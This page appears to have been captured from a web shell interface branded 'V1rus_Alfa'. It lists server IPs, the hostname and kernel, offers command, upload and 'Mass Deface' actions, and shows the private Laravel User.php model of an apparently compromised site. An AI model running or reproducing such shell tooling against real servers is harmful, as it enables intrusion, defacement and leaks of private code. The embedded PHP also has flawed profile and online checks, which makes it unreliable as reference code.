���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Models
/
Viewing: User.php
<?php namespace App\Models; // use Illuminate\Contracts\Auth\MustVerifyEmail; use Carbon\Carbon; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Illuminate\Support\Facades\DB; use Spatie\Permission\Traits\HasRoles; class User extends Authenticatable { use HasFactory, Notifiable, HasRoles; /** * The attributes that are mass assignable. * * @var array<int, string> */ protected $fillable = [ 'device_token', 'roll', 'platform', 'mobile', 'has_app', 'first_name', 'last_name', 'job', 'code', 'image', 'email', 'parent', 'status', 'description', 'password', 'state_id', 'city_id', 'dating', 'address', 'count_orders', 'balance', 'expire_date', 'payment', 'pvc', 'analyze_expire_date', 'last_order' ]; /** * The attributes that should be hidden for serialization. * * @var array<int, string> */ protected $hidden = [ 'password', 'remember_token', ]; /** * The attributes that should be cast. * * @var array<string, string> */ protected $casts = [ 'email_verified_at' => 'datetime', 'password' => 'hashed', // 'platform' => 'array' ]; public const STATUS_ACTIVE = 'active'; public const STATUS_INACTIVE = 'inactive'; public const STATUS_BANNED = 'banned'; public function analyzeDimensions() { return $this->hasMany(AnalyzeDimension::class); } public function lastBodyDimensions() { return $this->analyzeDimensions()->where('name_en', 'body')->first(); } public function marketer() { return $this->hasOneThrough(User::class, UserMarketer::class, 'user_id', 'id', 'id', 'marketer_id'); } public function get_admin_roll() { $roll = 'کاربر'; if (auth()->user()->can('admin')) { $roll = 'سوپر ادمین'; } else if (auth()->user()->can('services')) { $roll = 'خدماتی'; } else if (auth()->user()->can('employee')) { $roll = 'کارمند خدماتی'; } else if (auth()->user()->can('ads')) { $roll = 'مسئول تبلیغات'; } else if (auth()->user()->can('secretary')) { $roll = 'منشی'; } else if (auth()->user()->can('MarketingManager')) { $roll = 'مسئول بازاریاب'; } return $roll; } public static function payment_check() { $payment = 'true'; $config_payment = Config::where('type', 'unix')->where('key', 'payment_cutunix')->first(); if ($config_payment && $config_payment->value == 'true') { $payment = 'false'; if (Carbon::today()->toDateString() <= auth()->user()->expire_date) { $payment = 'true'; } //check-payment if (auth()->user()->payment == 'true') { $payment = 'true'; } } return $payment; } public function city() { return $this->belongsTo('App\Models\City'); } public function state() { return $this->belongsTo('App\Models\State'); } public function parent() { return $this->belongsTo(User::class, 'parent'); } public function machinery() { return $this->hasMany(UserMachinery::class, 'user_id'); } public function prices() { return $this->hasMany(UserPrice::class, 'user_id'); } public function orders() { return $this->hasMany(Order::class, 'services_id'); } public function customers() { return $this->hasMany(UserServices::class, 'user_id'); } public function transactions() { return $this->hasMany(TransactionLog::class); } public function trackings() { return $this->hasMany(UserTrackingLog::class,'user_id'); } public function getFullNameAttribute() { return $this->first_name . ' ' . $this->last_name; } public function getHasAnySuccessPaymentAttribute() { $count = $this->transactions()->where('payment_status', 'true')->count(); return $count > 0; } public function creator() { return $this->belongsTo(User::class, 'creator_id'); } public function hasAnyProject() { return $this->analyzeProjects()->count() > 0; } public function hasAnySettings() { return $this->analyzeSettings()->count() > 0; } public function hasAnyMaterialDimension() { return $this->analyzeDimensions()->count() > 0; } public function analyzeProjects() { return $this->hasMany(AnalyzeProject::class); } public function analyzeSettings() { return $this->hasMany(AnalyzeUserSetting::class); } public function hasProfile() { $hasProfile = true; $hasProfile = !is_null($this->first_name); $hasProfile = !is_null($this->last_name); $hasProfile = !is_null($this->mobile); $hasProfile = !is_null($this->job); $hasProfile = !is_null($this->state_id); $hasProfile = !is_null($this->city_id); return $hasProfile; } public function scopeWhereAreServices($query) { $query->whereHas('roles', function ($q) { $q->where('name', Role::ROLE_SERVICES); }); } public function scopeWhereProvince($query, $province_id) { $query->where('state_id', $province_id); } public function scopeWhereCity($query, $city_id) { $query->where('city_id', $city_id); } public function scopeWhereIsActive($query) { $query->where('status', self::STATUS_ACTIVE); } public function scopeWhereIsInactive($query) { $query->where('status', self::STATUS_INACTIVE); } public function scopeWhereIsBanned($query) { $query->where('status', self::STATUS_BANNED); } public function scopeWhereStatusIs($query, $status) { $query->where('status', $status); } public function sentMessages() { return $this->morphMany(Message::class, 'senderable'); } public function receivedMessages() { return $this->morphMany(Message::class, 'receiverable'); } public function isExpired() { return !Carbon::parse($this->expire_date)->greaterThan(now()); } public function isOnline() { $sessionLifetime = config('session.lifetime') * 60; // Convert minutes to seconds return DB::table('sessions') ->where('ip_address', $this->id) ->where('last_activity', '>', now()->subSeconds($sessionLifetime)->timestamp) ->exists(); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa